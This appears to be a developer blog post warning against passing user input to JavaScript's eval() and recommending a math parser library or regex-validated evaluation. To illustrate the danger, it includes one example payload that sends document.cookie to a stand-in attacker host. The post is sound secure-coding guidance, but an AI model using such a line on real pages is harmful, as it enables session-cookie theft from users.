Login Sign Up

Stop Using eval() for Simple Calculations in JavaScript

Every week i still see peoples asking same question.

"How can basically i calculate user input like 10+20*5 in JavaScript?"

Most first answers look like this.

const result = eval(userInput);
console.log(result);

Yes... it work.

But this is one of the worst things you can do if that input comes from user.


Why eval() is dangerous

Imagine user type this instead.

alert("Hacked");

Or something much worse.

fetch("https://bad-site.com/steal?cookie=" + document.cookie);

If you pass user input directly into eval(), JavaScript execute it like real code.

That means user isn't actually only doing math.

They're running JavaScript.


Better option (Simple Math Only)

If you only need basic calculations (+, -, *, /), use a math parser instead.

Example using mathjs.

import { evaluate } from "mathjs";

const expression = "10 + 20 * 5";

const result = evaluate(expression);

console.log(result);

Output

110

Now only mathematical expressions are simply evaluated.

Not random JavaScript code.


If you don't want any library

Create a very simple calculator that accepts only numbers and operators.

function isSafeExpression(exp) {
 return /^[0-9+\-*/(). ]+$/.test(exp);
}

const expression = "10+20*5";

if (isSafeExpression(expression)) {
 console.log(Function(`"use strict"; return (${expression})`)());
} else {
 console.log("Invalid Expression");
}

This is still not perfect for every production case. It is really much safer than directly calling eval().


Which method should you choose?

Method Safe Recommended
eval() Never
Function() with validation ⚠️ Small projects
Math parser library Best choice

Final thoughts

eval() look easy, but easy doesn't always mean safe.

If your application accepts any kind of user input avoid it.

A small library or proper parser can really save you out of security problems later.


Have really you ever used eval() in a real project; what did you replace it of?

Read Together
Session active! Discuss with other readers.
No notes yet. Select text to add a note.